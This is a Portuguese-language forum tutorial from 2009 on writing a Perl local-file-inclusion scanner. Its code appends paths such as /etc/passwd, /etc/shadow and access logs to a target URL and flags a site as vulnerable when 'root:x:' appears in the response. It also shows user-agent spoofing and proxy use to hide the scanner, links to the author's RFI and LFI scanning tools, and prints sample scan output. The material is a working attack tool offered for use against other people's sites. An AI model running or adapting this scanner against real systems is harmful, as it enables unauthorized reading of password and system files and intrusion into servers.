FORUM DARKERS

Tecnologia & Informática => Programação => Perl => Topic started by: Dr4k3 on 29 de January , 2009, 09:07:20 PM

Title: criando scan de vulnerabilidade em perl
Post by: Dr4k3 on 29 de January , 2009, 09:07:20 PM
vou tentar ensinar como criar um scanner em perl usando: LWP::UserAgent e HTTP::Request

vou me basear em 2 dos meus scans de rfi e de lfi
http://www.freewebs.com/dr4k3/Sources/rfi_scan2.txt // http://www.freewebs.com/dr4k3/Sources/lfi_scan.txt


#!/usr/bin/perl
[...]

use LWP::UserAgent;
use HTTP::Request;


Como em toda open-source #!/usr/bin/perl seria o caminho do interpretador e logo após os módulos que o programa ira usar...

bom cada scanner tem seu método de busca e cada vulnerabilidade tem o seu método de explorar com no rfi é necessário uma shell para a verificação e no lfi não por este motivo peguei estes 2 scans...

primeiro precisamos obter as vulnerabilidades vou disponibilizar um database onde guardo algumas vuls ele ta meio bagunçado mais ajuda
Quotehttp://www.dr4k3.co.cc/d0c/f4il

após obter as vuls podemos começar a codar o scanner:

print ">Insert Link[...]\n";
print '>';chomp($link = <STDIN>);

if($link !~ /http:\/\//) { $link = "http://$link"; }


esta é uma parte fundamental, é ai que o user do scan vai por o link para a verificação também é usado uma regex pra colocar http:// antes do link, esse método também pode ser feito de outros jeitos como

$link = $ARGV[0]; if($link !~ /http:\/\//) { $link = "http://$link"; }


ai é um exemplo dos esquemas usados em exploit onde a pessoa teria que colocar o link na linha de comando ex:
perl scan.pl http://www.google.com

e também pode ser obtido link a partir de uma busca com scanner mais avançados onde ele busca os sites em rfi por exemplo salva até o = e ai sim testa os sites um de cada vez, também da para inserir um lista com os sites, bom existem varias maneiras vem de cada um qual usar...

print "\n>press [enter] to check the version of httpd[...]\n";
$httpd =<STDIN>;

$host = $link;
$useragent = LWP::UserAgent->new;
$resp = $useragent->head($host);
print $resp->headers_as_string;


este é um complemento básico para o scan ele retorna com as infos do servidor

#site = www.google.com

Cache-Control: private, max-age=0
Connection: Close
Date: Thu, 29 Jan 2009 15:38:51 GMT
Server: gws
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1
Expires: -1
Client-Date: Thu, 29 Jan 2009 15:38:53 GMT
Client-Peer: 209.85.193.99:80
Client-Response-Num: 1
Set-Cookie: PREF=ID=e4fe4e1d4110bc09:TM=1233243531:LM=1233243531:S=RQyjxOxg-i58wK2B; expires=Sat, 29-Jan-2011 15:38:51 GMT; path=/; domain=.google.com.br


esse complemento não é necessário no scan porem deixa o scan mais completo e pode ser útil para foot print, engenharia reversa etc...

print "\n>press [enter] to check the vulnerability in lfi[...]\n";
$start =<STDIN>;

# scanning 314 paths

@vuls = ('/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
[...]


ai começa o scanner,  as vuls são armazenadas em uma array e serão usadas na verificação pelo scan

também existem scanners como o st4lk3r que guarda as vuls em uma arquivo separado em um txt por exemplo e depois abre esse arquivo e joga tudo pra array

open (sql, vuls.txt) or die "error [$!]";
@vul = <sql>;
close(sql);


outros usam banco de dados sql outros pedem a vul pro user enfim cada coder sabe qual método usar e em qual scanner vai ficar melhor...

print ">start scaning[...]\n";


foreach $scan(@vuls){

$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
else { $msg = "Not Found";}

print "$scan..........[$msg]\n";
}



o foreach transforma a array em varias escalares e faz com que o lwp se conecte a todas elas uma após a outra.

$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();


iniciada conexão por lwp com a $url que seria o link + vul

como da para perceber este scanner é muito básico scanners mais avançados como o st4lk3r por exemplo usam serviços do lwp mais avançados como proxy e simuladores:

if($os eq "-bsd"){
$ua->agent('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.1.12) Gecko/20080301 Firefox/2.0.0.12');}
if($os eq "-win"){
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Firefox/2.0.0.12');}
if($os eq "-lnx"){
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/20020823 Firefox/2.0.0.12');}
if($proxy!=0) {$ua->env_proxy();
$ua->proxy("http", "http://$proxy/"); }
$response = $ua->request($request);


não vou explicar as variáveis porque o code é complexo so pegando a source mesmo e vendo para intender...

if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
else { $msg = "Not Found";}

print "$scan..........[$msg]\n";
}


ai seria o que informaria se esta vulnerável ou não usando a seguinte lógica:

se a pagina carregar normalmente e tiver a string root:x: na pagina a $msg sera "Vulnerable" caso contrario a $msg sera "Not Found"

mais nos so armazenamos o resultado na variável precisamos mostrar pro user que é a função do print. Com o print o scan retornaria isso

/etc/passwd..........[Not Found]
/etc/shadow..........[Not Found]
/etc/group..........[Not Found]
/etc/security/group..........[Not Found]
/etc/security/passwd..........[Not Found]
/etc/security/user..........[Not Found]
/etc/security/environ..........[Vulnerable]
/etc/security/limits..........[Not Found]
/usr/lib/security/mkuser.default..........[Not Found]
/apache/logs/access.log..........[Not Found]
[...]

existem outros scanners que não mostram isso apenas mostra se esta vulnerável ou não, outros abrem um txt com a vul, bom como já disse isso vem de cada um e cada coder sabe o que usar e quando usar.

esse scanner é muito básico mais já da para ter uma ideia boa do funcionamento de um scanner por teste de url e claro que você pode complementar o scanner com proxy, googler, banco de dados etc... No cpan você também encontra outro módulos como WWW:Mechanize que são rápidos e muito eficientes e também pode encontrar mais coisas sobre lwp.

vul = vulnerabilidade/vulneravel
txt = arquivo.txt
coder = programador

greetz: c00kies creW / botecounix.com.br / c0d3rs.tk /irc